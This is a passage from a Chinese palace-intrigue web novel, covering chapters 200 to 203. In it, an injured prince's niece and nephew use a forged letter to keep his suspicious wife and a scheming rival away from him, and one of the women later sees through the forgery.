被轩辕玥这么一说,轩辕昊连忙近身过去到窗前,方才一堆人手忙脚乱地进门来时,他只远远地瞥了一眼那桂花树旁躲着的一妙龄女子,着实还真没瞧清楚其长相样貌。这会儿,趴在窗边认真地端详了半晌,仿佛这女子的骨子里还真的透着一副当年那个整日里就知道围着他皇叔转,粘人的跟个狗皮膏药似的西秦学院陆贤的掌上明珠陆天骄的小模样。 “几年未见,她倒是长的愈发水灵了啊。可惜,这些年无论她再怎么变,皇叔就是瞧不上眼,她也算是白搭了!”轩辕昊一边说着,一边回到轩辕玥的身边帮其换了一条柔软干净的白布巾。 “陆天骄这个女子,诡计多端,心机又极深沉,不像是个善类。以后,你可要离她远点儿,不要被这个女子给算计了。” 听了轩辕玥的话,轩辕昊立刻惊声道“哦?原来还是个蛇蝎美人啊,唉…那秦皇叔就更不会喜欢了,秦皇叔喜欢像云儿那样单纯善良又勇敢,骨子里还有股傲气的女子。” 一提到云儿,姐弟俩又瞬间都沉默不出声,一脸黯然了起来。 就在这时,院子里突然吵吵了起来…… (本章完) 第二百章:姐妹花勇闯林月轩 梅汐媛在赵嬷嬷的陪同下,一踏进林月轩的拱门里来,便被早已进到这座院落来的陆天骄此时的所作所为惊呆了。 她望着此时眼前这个楚楚可怜的女子,深吸了口气,紧接着三步并作两步急上前去朝其大声怒斥道“你来这个院子里做什么?谁让你来这儿的?还不快回去?” 陆天骄一走出韶华阁的院子,本来是打算右拐回去自己屋子的,她虽然已经如愿得知了她整日里碎碎念的她的翰哥哥的行踪,尽管这一次依然少不了那个让她恨得咬牙切齿的女人。可她却依然不听使唤地挪步至此,想要多停留一会儿在留有那个男人最多气息的地方。 没有人知道,她的心里究竟有多爱这个男人。于是,她又一次听从了自己的心,一直走到了林月轩外的一个角落,却不想让她遇到如此触目惊心的一幕。 “不,我不回去,求求你,不要赶我回去,让我看一眼殿下,就一眼,只要看一眼,只要让天骄看到殿下他是完完整整,他是好好的,天骄便立刻离开林月轩,绝不再多停留片刻。哪怕是…哪怕是让天骄离开整个秦王府,回到自己原来的地方,天骄也无怨无悔。求求你,姐姐,王妃娘娘,求求你帮帮天骄,帮帮天骄吧!”陆天骄紧紧地抓着此刻似是她唯一的救命稻草,立在她面前的梅汐媛的胳膊,跪着声泪俱下地乞求道。 “陆天骄,你这是做什么?你到底在做什么,你是不是疯了,什么要看到殿下他是完完整整,是好好的,殿下,殿下,殿下他到底怎么了?”梅汐媛听着这些话,整个人都感觉恍恍惚惚的,然心里却忽然浮出一抹不好的预感。 陆天骄继而抹了一把脸庞的泪水,哽咽着道“方才,方才我看到程副将他…他背着不省人事的殿下从外面进来,殿下的身上缠满了鲜血淋淋的白布带,他的脸色形同死灰一般,苍白而无力。殿下他,他一定是出大事了,一定是……” “你给我住口!”尚未及陆天骄将心里的疑虑说出口来,梅汐媛便一把大力地甩开了陆天骄附在她胳膊上的手,狠狠呵斥其道。 “这不可能,绝不可能,殿下他英勇神武,足智多谋,怎么可能会受如此重的伤呢?一定是你看错了,一定是你看错了……” 梅汐媛一边说着,一边跌跌撞撞,神情恍惚地走上石阶去想要推门而入,亲自一探究竟。 就在这时,一直牢牢把守着林月轩门口,犹如天兵天将门神一般的两名侍卫迅速地执起各自手中的长剑,将梅汐媛果断挡在了门外。 梅汐媛的眼睛里顿时寒光四射,她本能地后退两步,怒不可遏地朝着的那两名侍卫怒斥道“你们这两个有眼无珠的废物,是今日才新来 的么?难道不认得本王妃?这究竟是谁给你们的胆子,竟连本王妃的路也敢挡,成心找死是不是?” 两名侍卫闻声,立刻拱手行礼,其中一名侍卫对其解释道“属下不敢,属下乃是奉将军之命在此看守,不许任何人进入林月轩里打扰,请王妃恕罪,王妃还是回去韶华阁歇着吧!” 梅汐媛闻言,当即朝其怒斥道“大胆!方才你说这是程将军的命令?本王妃竟然不知,在这秦王府里,区区一个小小的副将,何时起,也能骑到本王妃的头上去了?还不快给本王妃让开!” 梅汐媛瞪大了眼睛,怒目而视着那两名侍卫,然侍卫依旧纹丝不动地坚守着那道大门。只要梅汐媛不动,他们亦不会动半分,一旦梅汐媛动手,他们定要死守住那道门,这是命令,亦是他们的职责。 不知何时,陆天骄亦已经悄悄地站起身来紧跟在梅汐媛的身后,等待着破门而入的那一刻。 然一看到眼前所陷入的这片僵局,她灵机一动,忽然朝着身边的梅汐媛悄悄地使了个眼色,梅汐媛便立刻顿悟,冷不防地趁其不备,快速伸出一手来,抽出了那侍卫手中一直紧握着的剑鞘里的一柄利剑。继而飞快的倒转剑柄,便将其直接横在了俩人的面前,对其威胁道“你们到底让不让开,再不让开,可要仔细本王妃手中的刀剑无眼。本王妃从小到大,琴棋书画可谓是样样精通。却唯独从未使过剑,不知待会儿,本王妃不小心一动怒的话,这柄利剑到底是会伤到你们,还是会伤到本王妃自己呢?” 侍卫一听,顿时面面相觑着,似是心里都有些七上八下,忐忑不安起来,然始终却未松懈半分对林月轩的防守。 “怎么?你们不相信本王妃所说的话么?好,今日本王妃就好好教训教训你们这两个狗奴才,让你们好好长长记性。看看秦王府真正的主子到底是谁?”梅汐媛一边说着,一边鼓足了全身力气,忿忿地将手里的利剑高高举了起来。 就在她正准备着朝下狠狠地将剑劈下去的时候,忽然“吱呀”一声,林月轩的大门被人从里面将其打了开来。 “属下参见王妃娘娘” 原来,前来开门的是在林月轩里面听到外面一片哗然的程良。只见他一走出门来,便朝梅汐媛恭敬的拱手行礼道。 然梅汐媛却当即被其怔愣住,手里的长剑亦瞬间从手中滑落,一旁的侍卫连忙弯腰下去将剑拾起,稳稳地插入自己空荡荡的剑鞘之中。 此情此景,如此尴尬的一幕,梅汐媛一时间竟都不知该如何面对。 片刻后,她终是强压住了内心的愤怒,朝着程良正色道“程将军,本王妃有要事要见殿下一面,请将军代为通报。”毕竟,对于整日与轩 辕翰形影不离的程良,她始终还是要敬他三分的。 闻此,程良只低声喃喃了一句“王妃娘娘……”,似是突然犹豫不决了起来,不经意地朝身后瞥了一眼。 这时,立在梅汐媛身后早已迫不及待的陆天骄抢过梅汐媛的话,看起来甚是一副忧心地道“程将军,殿下他…是不是出了什么事?” 程良闻言,顿时朝着陆天骄的眼睛怔了一下,稍作犹豫,只道“哦,我们在城南捣毁北烈细作的窝点,与其交手时,殿下受了点轻伤,并无大碍,休息休息便……” “不,怎么会是轻伤?不可能是轻伤,如若是轻伤的话,殿下怎么可能浑身都是血迹且昏迷不醒着,殿下的身上,还到处缠满了布条,那些布条,都被鲜血染红了,殿下流了那么多血。”陆天骄甚至等不及程良将话说完,便开口急急反驳道。 程良一时间竟被陆天骄质问的目瞪口呆,哑口无言了。自从轩辕翰在城南出事后,他一直都心惊胆战着。方才一进秦王府的大门,便只顾着将主子赶紧背入林月轩的寝殿里,却在一片手忙脚乱中,一点儿都没有意识到这一切,都被陆天骄真真切切地看在了眼里。 此刻,程良直勾勾地盯視着陆天骄坚定不移的眼睛,心想,她已经不是第一次偷窥林月轩了,如此看来,这个西秦学院的大小姐,伺机赖在秦王府里与梅汐媛终日形影不离,怕是并不是为了陪梅汐媛解闷,其真正的意图,该是在他这个主子的身上。 可聪慧又敏感的东宁永乐公主,如今的秦王妃梅汐媛,她应该不会不知道陆天骄的企图。莫非,难道是这俩个女人在背后悄悄达成了某种统一的共识或者其他什么,那究竟是什么呢? 眼下,对于主子的身受重伤和莫名的昏迷不醒,自是不能让这个东宁公主知晓,毕竟谁也不知道,她若知道了这个大秘密,究竟会做出什么事来?万一她动机不纯,将此事通报给了她的母国,那可就…… 就在程良惊恐不已的沉思之际,梅汐媛开口道“程将军,本王妃念你终日服侍殿下,忠心耿耿,尽心尽责,所以敬你几分。可如果,程将军若敢拿殿下的生命安危开玩笑的话,那本王妃…绝不姑息。今日,本王妃若是看不到殿下本人,绝不罢休。” 梅汐媛的这话,由浅入深,声音由低至高,由柔至刚。 轩辕翰至今未醒,程良早已是接近崩溃的边缘,就在其恍恍惚惚之际,轩辕玥忽然从里面走了出来,手里拿着一纸书信置于身后,来到程良的身旁,欠身行礼对梅汐媛道“玥儿见过秦皇婶,这是秦皇叔给皇婶的亲笔书信,请皇婶亲阅。” 梅汐媛虽心里满是质疑,仍只能缓缓接过其递上来的书信,将其打开 一看,只见上面白纸黑字写道“近日城南袭击北烈细作,本王不慎身受轻伤,身体略感不适,极需静养,不便会客,勿多叨扰。府中诸事,皆由程将军代本王处理。” 不料梅汐媛看完这书信所言的始末后,竟道出一句“本王妃怎么知道,这究竟是不是殿下的亲笔书信?” 轩辕玥闻之朝其无奈地笑了笑,反问道“秦皇婶与秦皇叔大婚也已有些时日了,正值你侬我侬,如漆似胶之际,怎么竟连秦皇叔的笔迹亦不识呢?” 这时,陆天骄忙上前道“王妃娘娘,不如让民女帮您看看。” 梅汐媛似是除此之外也别无他法,便只好心不甘情不愿地将信递给了满是一脸期待着的陆天骄。 看来,今日要见到翰哥哥已是没有丝毫希望了。可是,如果能确定翰哥哥此时仍还能写好他那一手极具功力的好字来,想必也定是真的没有什么大碍。或许,真的是自己关心则乱,大惊小怪了。 只见陆天骄将信捧在手里,瞪大了眼睛,认认真真,一字一字,一笔一划地回忆辩识着。 半晌后,突见她情绪激动,就连整个身子似是都有些颤抖了起来,哭腔着道“没错,没错,这是殿下的亲笔,是殿下的字。” “真的,你没看错!”梅汐媛朝其惊声道。 “殿下的字,天骄从认识殿下的第一天起,便已牢牢记在心里,化成灰也不会忘记。”陆天骄信誓旦旦道。 这时,轩辕玥深吸口气,挺直了身子道“既然如此,不知秦皇婶对于此书的内容,可还有其它质疑?还需不需要不顾一切地闯进去亲自证实一下呢?” “还不快走,死赖在这里做什么?”只见梅汐媛顿时气冲冲地朝着陆天骄吼了一声,便再头也不回地径自踱步,出了林月轩的大门。 而这时,林月轩寝殿内,有个人正趴在窗前,紧紧地捂着自己的嘴,顿时笑得人仰马翻在了窗前的暖榻上…… (本章完) 第二百零一章:是宿命,亦是劫数 终于送走了梅汐媛和陆天骄这俩块烫手山芋。 这会儿,轩辕玥和程良都各自长长地舒了口。 程良一脸庆幸地对身旁的轩辕玥说道“幸亏公主及时赶到,方才属下差点儿就招架不住了。这还真是‘唯女子与小人难养也,近之则不逊,远之则怨。’,也不知道这陆家大小姐什么时候竟和王妃娘娘如此要好了。” 轩辕玥望着那俩人离去的方向,叹了口气,眼神悠长地说“这俩个极其难缠又阴险狡诈的女人,一个都极难对付,如今竟还使她们串通在了一起。如果云儿真还活着,等过了元宵,进了秦王府,这往后的日子,该是有多难熬啊!本公主此刻竟然希望,若是云儿她真还活着,永远都不要再回来了。或许,外面更广阔的自由自在的天地,会更适合她。” 听了轩辕玥的话,程良的心里却有些难过,他皱着眉头说“那公主可有替我家主子想过,如果衣姑娘真的已经死了,又或者她贪恋外面的自由空气,再也不回来了的话,殿下的心,会有多痛,又有多苦呢?这么多年来,没有人比公主更明白殿下的心意,不是么?” 闻此,轩辕玥出神的眼睛忽然飘落到程良的脸上,俩人彼此都默默地注视着对方的眼睛,昔日里轩辕翰孤独的影子占据了俩人所有的神经。 片刻后,程良忽一回神,方才问道“对了,刚才的信……” 轩辕玥解释道“事可从经,亦可从权。方才的那封信,只不过是昊儿的雕虫小技罢了。” “原来如此,看来太子殿下真的是长大了!”程良感叹道。 至此许久,轩辕玥并未再说些什么,只是抬起头漫无目的的望着天空中飘浮的朵朵白云,最后默默地回头独自再次进入到林月轩內殿里去。 而程良亦在轩辕玥转身离开后,亦回到林月轩门口,对守门的两名手下再次叮嘱道“都打起精神来,把这里守好了,一只蚊子都不许放进去!” 侍卫齐拱手领命道“属下遵命!” 话一说完,程良便径自朝着自己的住处踱步过去。 接连多日在城南不休不眠的执行公务和长途跋涉以及对主子的担心,他也早已是精疲力尽,身心俱疲。此时,他这个凡胎肉骨也极需片刻的歇息,以恢复精力,继续接下来更为繁重的任务。 主子已然不知何时才能清醒过来,剩下的事,他都必须替他的主子全部处理妥当。 程良一边走,一边独自琢磨着。 城南这几日,与北烈大皇子的正面较量,表面上看起来似乎是他们赢了。 万娇阁被封,暗藏于其内的阴谋也已彻底被瓦解和摧毁,目前除了北烈大皇子拓跋泽侥幸潜逃在外,不知去向外,其他所有北烈敌寇亦已经被悉数擒拿 回京,玉娘亦已被成功解救。【#…!~免费阅读】 但是,他们也为此付出了沉痛的代价,主子至今昏迷不醒,衣上云又生死未卜。 思及此,程良忽然止住了脚步,继而连双拳亦瞬间紧紧地握了起来。 接着,只听他似是有些痛心般地轻唤了一声“衣姑娘”,随后便伴着声嘶力竭的“啊……”一声极其愤怒的吼叫声,一只紧紧握着的拳头便狠狠地砸在了回廊边的柱子上,惊起旁边树上的一群飞鸟。 轩辕玥一进到轩辕翰的寝殿来,一眼便看到了正笑得人仰马翻,在窗前的暖榻上抱腹不停地翻滚着的轩辕昊,她立刻顿足朝其厉声制止道“昊儿,快停下来,你这是在做什么?” 轩辕昊闻声缓缓坐起,支着小脑袋来倚在榻边不屑地道“皇姐,那个西秦学院骄傲的大小姐,莫不是就是如此聪慧过人的?亏她还和秦皇叔认识了那么多年,竟还妄言说什么即便是化成灰,亦能辩识出皇叔的笔迹来,真是笑死人了。” 轩辕玥走到轩辕昊的身旁坐了下来,抿了抿嘴,微笑着轻抚了抚他的小脑袋,说道“陆天骄,果然人如其名。傲世轻物又孤芳自赏,目无一切,似是天生便是那样的傲骄女子。可她是真的辜负了陆贤对她全心的满腹期待了,陆贤是多么希望她能成为犹如天赐一般值得他骄傲的女子。” “原来陆贤给她取名为‘天骄’,是这个意思啊!”轩辕昊这才恍然大悟道。 轩辕玥依旧抿嘴对他笑了笑,继续道“不过,这次倒是真多亏了我们昊儿了。要不是你的字以假乱真,怕是要真让那个东宁公主给闯进来了。到时候,恐怕这后果可就真不堪设想了啊。” 轩辕昊被夸的似是有些不好意思,他摸了摸自己的后脑勺,转念道“皇姐,方才昊儿见那东宁公主着实竟连皇叔的字都不识。这世上,夫妻本应是最熟悉和亲密无间之人。可眼前这对璧人朝夕相处,却是如此陌生,不仅如此,他们整日里还要像防贼一样地防着对方,又还要纠缠生活在同一屋檐下,这日子该是有多难过呢?漫漫岁月,怕是对这俩人彼此,也都是一种永无止尽的煎熬吧!” “谁说不是呢?”轩辕玥轻叹口气,道。 这时,轩辕昊忽然起身靠了过来,将脑袋歪在轩辕玥的肩上,忧心忡忡道“皇姐,你以后也会过这样的生活么?未来姐夫,也会像秦皇叔防永乐公主一般防着皇姐你吗?皇姐也会不识得姐夫的字迹吗?……昊儿的心,忽然感到好痛好痛,是替皇姐痛!皇姐是这个世上昊儿心里最爱的人,昊儿舍不得皇姐受这种苦……” 话到此处,轩辕昊似是已再也说不下去了,姐弟俩就这样静静地倚靠在一起,回想起俩人自小到大一路走来, 打打闹闹所度过的每一个开心和不开心的日子,那些只属于他们姐弟俩的记忆,脸上都不知不觉地挂满了泪水。 忽然,轩辕昊用手背抹了一把眼角渗出的泪水,看着轩辕玥的眼睛,郑重对其说道“皇姐,不如,你不要远嫁到东宁国去和亲了吧,昊儿回去亲自替皇姐向父皇求情,昊儿是父皇唯一的儿子,西秦国未来唯一的继承人,相信父皇一定会答应皇弟的请求的。” 轩辕玥听到他此时这些极具温暖的肺腑之言,忽的一把将轩辕昊揽入怀中,用她漂亮的下巴紧紧抵在轩辕昊的额头上,对其意味深长地说道“昊儿,来不及了,一切都来不及了。以后漫漫岁月,总有一日你会明白,只要遇到了那个人,纵使一切都只是场浮光掠影,向前只是万劫不复的无底深渊,你也终会甘之如饴地将这毒酒饮下。这是我们每个身为这尘世间的凡夫俗子,倾其终生都难以逃脱的宿命与劫数。云儿是,皇姐是,他…亦是……” 此话一出,一室寂静,姐弟俩紧紧地拥在一起,目光都不约而同地移向了对面卧榻上昏睡不醒的轩辕翰身上。 “气死我了,气死我了,真是欺人太甚了!在她的风华宫里闹闹她的公主脾气也就算了,如今,竟还跑到本王妃的秦王府门上来挑衅。看来,作为她的长辈,本王妃这个皇婶一定是平日里待她太好了,才会让她把本王妃看成是个软柿子,随她捏圆捏扁了去?可恶,真是可恶!”梅汐媛怒气冲冲地一回到韶华阁里,便一把重重地拍在了身旁的软榻扶手上,面目狰狞地咆哮起来。 “气大伤身呐,姐姐喝口菩提叶和桂花制成的安神茶,消消气。”陆天骄伸手接过身旁战战兢兢着,不敢上前去连续第二次奉茶的婢女手中的茶盏,对梅汐媛劝道。 梅汐媛闻声,却并未伸手将其笑脸捧上来的茶接下,而是狠狠地瞪了她一眼,对她谩骂道“废物,真是废物,竟然这般无用。你为何方才要承认那字是殿下的笔迹,如若不然,我们岂不是早已进去见到殿下的人了么?殿下有没有事,一见便知。你难道看不出,方才程良已经招架不住本王妃对他的质问了么?真不知你这心里究竟打的什么算盘?” “姐姐:公主、太子和程将军,他们可都是殿下身边最亲信的人啊。这俗话说‘打狗还要看主人’,得罪了他们,以后怕是对姐姐没有任何好处的,只会伤了殿下和姐姐之间的情分。况且,公主拿出来的,那的确是殿下的亲笔书信,殿下的字,颇有力道,妹妹敢以性命保证,这世上绝对没有第二个人能模仿的了殿下的字,相信殿下,他真的只是受了点儿小伤吧。姐姐总不至于,执意要跟殿下扭着来吧。” 闻此,梅汐媛似是终于渐渐平息了下来。陆天骄见势再次笑着将茶奉上,梅汐媛努着嘴缓缓将其接过轻抿了一口。 “许是姐姐最近在王府里闷得时间太久了,心中抑郁憋得慌。不如,天骄陪姐姐出去散散心,可好?”陆天骄忽然说道。 “出去?去哪里?”梅汐媛对西秦国的概念,还只停留在距离秦王府不远处的一条街市而已。想想如果没有陆天骄,怕是自己永远都只能呆在韶华阁这座深院里了。此时,她顿然满心期待起来。 陆天骄稍作琢磨,道“殿下身体不适,不如…这次我们走远一点儿,就去…城南的城隍庙。妹妹听说那里的香火最旺盛,还有得道高僧。那里的神明亦最灵验,求什么,得什么。我们就以给殿下祈福求平安为名外出去那里逛逛,姐姐觉的如何?” 梅汐媛被陆天骄这话说的心里直痒痒,她忽然觉得自己的心里有好多话想跟神明说道说道,若心中的苦闷再得不到倾诉的话,她似是都要崩溃了。可却不禁忽然又犹豫起来,道“可是,本王妃已被殿下禁足了,如何出的去?” 陆天骄道“殿下是说,在他外出不在的时日里,不许姐姐出门。可如今,殿下不是已经回来了么?姐姐放心吧,一切都交给妹妹,妹妹一定能让姐姐去的了城南城隍庙。” 梅汐媛闻之,激动地一把握紧了陆天骄的手,一脸歉然道“那就有劳妹妹了。方才姐姐一时心急的气话,还望妹妹不要放在心上。” 陆天骄对其嫣然一笑,便转身离开了韶华阁。 (本章完) 第二百零二章:金丝鸟遇白莲花心计 程良宽衣解带,好不容易终于躺在了自己久违的床上,早已身心俱疲却辗转反侧了许久,还是合不上眼来稍息片刻。 就在这时,“咚咚咚”忽然一阵轻缓的叩门声响起。 “谁啊?”程良支起身,惊问。 门外传来女子娇柔的应答声“程将军,是我,陆天骄,有急事想要找程将军商议,烦请将军开一下门。” “等会儿。”似是有些被打扰到,但他依旧不厌其烦的起身去开门。主子至今昏迷着,为免诸事被动,公主方才已然借机将秦王府所有的权利都交到了他的手上,他定要替主子守好了门户。 “吱呀”一声,门开了。 只见门外站着的陆天骄一袭粉衣长裙,端庄大方,彬彬有礼又如沐春风般轻盈。一脸笑吟吟,笑靥如花,叫人如痴如醉。 美人吞吞吐吐,又带着些许羞涩地柔声道了一句“程将军,你…是在休息吗?天骄打扰将军了。” 此情此景,美人当前,秀色可餐,怕是这世间没有几个男子能抵挡得了其浓郁的诱惑。 即使是如此一个整日里跟随在一个万年冰山的高冷王爷鞍前马后的男子,却远不如他的主子那般意志坚定。面对这样的温婉女子,此刻的程良竟瞪的有些呆了。 尔后,似是突然发觉了自己的失礼,便清了清嗓子,正色问道“陆小姐这么急找在下,有何急事?” 见此,陆天骄脸上的吟吟笑意不禁一时间僵住。猛一回神,依旧含笑着道“程将军,王妃娘娘见殿下身体欠安,自己便也寝食难安。所以,她想要往城南城隍庙去为殿下祈福。但因之前殿下下令王府守卫,殿下不在王府的时候,王妃不准踏出王府半步。可如今,殿下也回来了,将军您看,王妃娘娘是否可以……” 程良闻此忽然打断其话语,纳闷问道“王妃怎么会知道城南城隍庙的?” “哦,这个…前些时日,天骄陪王妃娘娘出门定制了一枝金步摇,许是王妃在集市上听人说的吧。”陆天骄扯谎道。 “可最近城南发生的诸多军务都急需收尾,殿下又身体抱恙,极需静养。恐怕在下实在是抽不出时间来,陪王妃娘娘一同前往。”程良甚感分身乏术道。 陆天骄抿了抿那张柔软的红唇,轻声一叹,亦面露难色着道“也是,国事自是不容怠慢。只是…天骄本欲陪同王妃一齐前往,不巧近日身子不方便。可王妃听闻城南城隍庙有得道高僧主持,请愿极灵,故执意要前往。且时正值元宵佳节,城隍庙的香火一定尤为鼎盛,她怕错过了这个好时机,便更是心急如焚,巴不得即刻就启程前往。王妃也是一片好意,为了殿下。不如…程将军帮忙安排个可靠的下属陪同前往即可。殿下和将军刚从 城南清查敌寇回京,想必现在全西秦国里,那里的城防一定最为禁卫森严,没有比城南更安全的地方了,王妃娘娘应是安全的!” 见程良一直犹豫不决着,陆天骄忽然改色一脸忧郁的眼神道“说实话,自从殿下与王妃大婚以来,程将军也都看到了,殿下一直对王妃娘娘冷冷淡淡的。最近,王妃娘娘的情绪很是低落,这万一要是出点什么事,东宁国追究下来,那第一个被其牵连的便是殿下啊。当初,天骄答应王妃,愿久居王府与其做伴,忍心弃年迈的父亲于千里之外而不顾,亦都是为了殿下,为了翰哥哥呀!” 陆天骄一边动情地说着,竟悄悄拭起眼角的泪水来。 “好吧!在下来安排便是。”面对陆天骄此刻的满腔诚肯,片刻思量后,程良终点头答应道。 陆天骄随即欣喜地欠身行礼,道“多谢程将军体恤,那…天骄告辞了!” 话一说完,陆天骄便莞尔一笑,转身缓缓离去。 程良正独自若有所思着,走在回廊上的陆天骄忽然顿足下来,却并没有回头,依然柔声着道了句“对了,程将军终日伴在翰哥哥左右。翰哥哥的字,是不是好久未练了?怎么天骄看着,如今翰哥哥的字竟像是他,尚还不足十岁时候的了呢?” 程良闻之,惊讶地猛抬起头来望着她的背影,一脸愕然…… 自打陆天骄一提起城南城隍庙祈福之行,梅汐媛便似是在韶华阁里再也坐不住了。 此刻,她正满心焦虑不安地来回踱步着。 “这个陆大小姐,这次总算是替王妃娘娘真的着想了一回。要是真的能去那个相传十分灵验的城隍庙的话,王妃娘娘不妨借机再求个一男半女回来。这要是真能有个孩子,公主以后的日子便也不会那么孤苦了。”赵嬷嬷在一边泡着茶,高兴地说道。 然梅汐媛却闻之冷笑一声,愣着道“孩子…谈何容易呢,嬷嬷难道看不出,这西秦秦王早已是打定了主意,这辈子都打算让本公主只做个有名无实的秦王妃了吗?” 一语至此,梅汐媛忽然叹了口气,默默地坐了下来。 赵嬷嬷闻之,不禁停下了手里的动作悄悄地瞄了她一眼,梅汐媛又道“本公主忽然觉得,自己当时选择错了。或许本公主,根本就不该答应父皇,来西秦国做这个和亲公主。原以为,即便是这灵空战神,西秦秦王,哪怕再如同传闻所言再冷再傲,本公主的柔情蜜意,亦都能将她捂化。可没想到,本公主竟会连半分都走不进他的心。本公主的满腹才情和这盛世容颜,竟都还抵不过一个小小药师家被退过婚的废柴丑女。本公主一生都不愿认输,可这次,忽然觉得自己输了,输的一败涂地。” 梅汐媛说着说着,缓 缓闭起了双眼来,放在软榻扶手上的一只纤纤玉手,顿时握的紧紧的。 赵嬷嬷见此,忙上前来劝慰道“公主万万不可泄气啊,就算不为自己着想,亦要为皇后娘娘着想啊。娘娘还等着看公主坐上她一生都永远坐不到的那个位置呢!只要公主是秦王正妃,守住这个位置,无论如何,公主就永远都是正室嫡位。” 梅汐媛轻叹口气,无力地睁开眼来,道“可是,嬷嬷,本公主真的好累,好累……” 赵嬷嬷听着看着,心疼极了“嬷嬷知道公主辛苦,可是‘吃得苦中苦,方为人上人’,为了能登上大位,即便再苦,公主也要忍啊。” 听着赵嬷嬷的话,她的眼睛忽然飘向了窗外面,蓝天上那几只自由的飞鸟,她是多么希望她也可以是只不被人从一个牢笼换到另一个牢笼里,可以自由翱翔的飞鸟。 可她偏偏被生成了一只极其高贵的羽色和鸣叫兼优的笼养观赏鸟——金丝雀,既然是金丝雀,就注定了她一世都是被关在金丝鸟笼里。既想要这世间极致的尊贵,便要付得起同样的代价。‘开弓没有回头箭’她早已知道,她永远只能被命运安排,永远都回不了头…… 半晌后,她忽然开口吩咐道“赵嬷嬷,传信给三皇兄吧,就说本公主元宵节要在城南城隍庙为殿下祈福!” 赵嬷嬷闻之一脸愕然道“公主这是打算要……可是,这陆大小姐还尚未征得程将军同意呢?” 梅汐媛轻笑一声,道“陆大小姐?她可不是吃素的,别磨叽了,就照本公主方才的意思传信下去吧。” “是”赵嬷嬷一边应着,将一盏具有强肝养胃,解郁安神之功效,可缓和情绪、补血气、消除疲劳、润泽肌肤的茶色粉红,里面飘浮着几朵娇艳玫瑰花,香气芬芳浓郁的茶汤递到了梅汐媛的手中,方才兀自走了出去。 一室寂静,梅汐媛花容月貌,独自对着杯中的血红玫瑰发了许久的呆,正欲提起兴致来品饮,忽传来门口娇滴滴的一声轻唤“姐姐!” “妹妹这么快便回来了,快进来坐下歇歇。刚好赵嬷嬷泡了这杯养颜茶汤,这里面的玫瑰花,是用东宁国最极品的玫瑰,将其整支完整的晒制而成的。这会儿温度正好,妹妹快尝尝!”梅汐媛闻声,即刻脸上堆起了笑容来一边说着,一边将自己手中的茶递了过去。 陆天骄坐下,伸手将其接过,甘之如饴地轻抿了一口。 尚未等其将口中的茶汤咽下,梅汐媛便忙着开口问道“怎么样了?是否可行?” 陆天骄道“姐姐尽管安心去便是,程将军会亲自安派最可信的人护送姐姐的。” “程将军派人?怎么,难道妹妹不去么?”梅汐媛忽然惊讶道。 陆天骄道“姐姐,那个丑丫头元宵过后就要入王府来了,妹妹还得留下来替姐姐先调教调教她,不是么?不要等姐姐从城南回来的时候,被那贱丫头冲撞了姐姐才好。” 梅汐媛暗自里心想,这个丫头诡计多端,心眼亦甚多。若是让她跟着的话,到时候怕是会露出什么马脚来,不去也好。 一念至此,梅汐媛便拉起陆天骄的手,笑道“好吧,那王府里这几日,就有劳妹妹费心了。” 陆天骄亦笑了笑,看了看外面的天色,已是略感见暗,便道“这天也不早了,那姐姐今晚便早点歇着,命人收拾收拾,城南城隍庙可不比京城方便,明天天不亮便要辛苦赶路了。” (本章完) 第二百零三章:秦王府乱,即天下乱 陆天骄从韶华阁里回到自己的房内,从袖中掏出那纸字来,放在面前的书案上端详凝视了半晌,忽然脸上露出一抹诡异的笑,道“哼,就这个字也能糊弄了本小姐的眼睛,本小姐倒是要看看你们究竟在搞些什么?” 本就已身心俱疲至极的程良,经过陆天骄这么一闹,亲眼看着她似是一种莫名的阴谋诡计得逞的模样得意洋洋地离去。 于是,他内心忐忑且失神地回到了自己的房内,屏气凝神着似是在思考些什么。不知不觉中,竟就这样坐了一整个黄昏,似是连周围的空气亦都跟随着他一起凝结住了一般。 忽然,漆黑的房内一阵晚风拂过,方才察觉到窗外不知何时起,竟已是一片更深夜露。 此刻,他显然已睡意全无。冥冥之中,心里总惶惶不安地感觉,这俩个女人像是一定会串通着闹出些什么事来,可却又都无从考究。 终是无果,他缓缓起身来踱步到窗前将其轻轻闭起,思索片刻,索性又走到了另一旁,顺手从外面带了房门,径自再次朝着林月轩走去。 林月轩里香烟袅袅,一室寂静,到处一片灯火通明。 轩辕玥正一手支着下巴,竟也似是已有些体力不支了,连连在轩辕翰的榻边一个接着一个的打着盹儿。 而另一旁的轩辕昊,亦不知何时早已在窗前的软榻上恬静地睡了去。 程良一进入寝殿,挨个儿看了眼这姐弟俩的疲惫模样,不知为何,一时间心里竟感觉有些酸酸的。 稍作迟疑,只见他轻声踱步过去,先将软榻上已熟睡了的轩辕昊小心翼翼地抱起,放到了偏殿的床榻上,为其褪去了鞋袜和外衣,再将被角替其仔细捻好,尔后方才轻轻地撒下幔帳,再次回到了轩辕玥身边。 他轻轻地拍了拍她的肩,压低着声音轻唤道“公主,公主……” 轩辕玥闻声,一睁开来那双半张半合的朦胧睡眼,便转头惊道“程将军,你怎么又回来了……本公主竟然睡着了。” 言语里,似是有些自责。 程良忙关切道”公主,已是深夜了。就让属下来看着殿下吧,公主已经守了一整日了,去偏殿歇歇吧。明日一早,程良便送公主和太子回宫。” 轩辕玥听了程良的话,似是满腹的不放心,回头看了眼榻上依然伤痕累累地昏睡着的轩辕翰,深深地叹了口气,又无可奈何地说道“好吧,若有任何情况,你马上通知本公主。” 程良默默地点了点头。 “也不知道秦皇叔究竟是何原因,一直这样昏迷不醒着。云儿那边,至今也没有半点儿消息传来,本公主觉着,这天似是都要塌下来了一般。”轩辕玥一边说着,一边起身来欲往偏殿里去。 程良闻之,只默不作声地站 在一边。这一切,对于他而言,又何尝不是如此呢。此时此刻,他自是也不知道该说些什么,又能说些什么。 忽然,他双眼顿时一怔,似是想起了什么,忙对着轩辕玥的背影道“公主请留步。” 轩辕玥闻声速速止步回过头来,程良上前疑惑着道“公主,方才发生了一件事,程良觉得很是蹊跷。” 程良将陆天骄方才找他所说的事情,从头到尾一字不差地跟轩辕玥禀了起来。 听完程良的话,轩辕玥紧紧地咬着牙根,怒目着将一只纤细玉手重重地拍在了身旁的软榻扶手上,忿忿道“其实,本公主至今一直心神不宁着。我就知道,这心机颇深的陆天骄,决没有那么容易对付。果然,昊儿的字,最终还是没能逃过她的眼睛。可是,她竟突然不随那与之孟不离焦的永乐公主一起前往城南,而是独自留在了王府里。她究竟想要做什么呢……” 忽然,轩辕玥与程良异口同声道。 轩辕玥:“她想独入林月轩见秦皇叔!” 程良:“她想独入林月轩见殿下!” 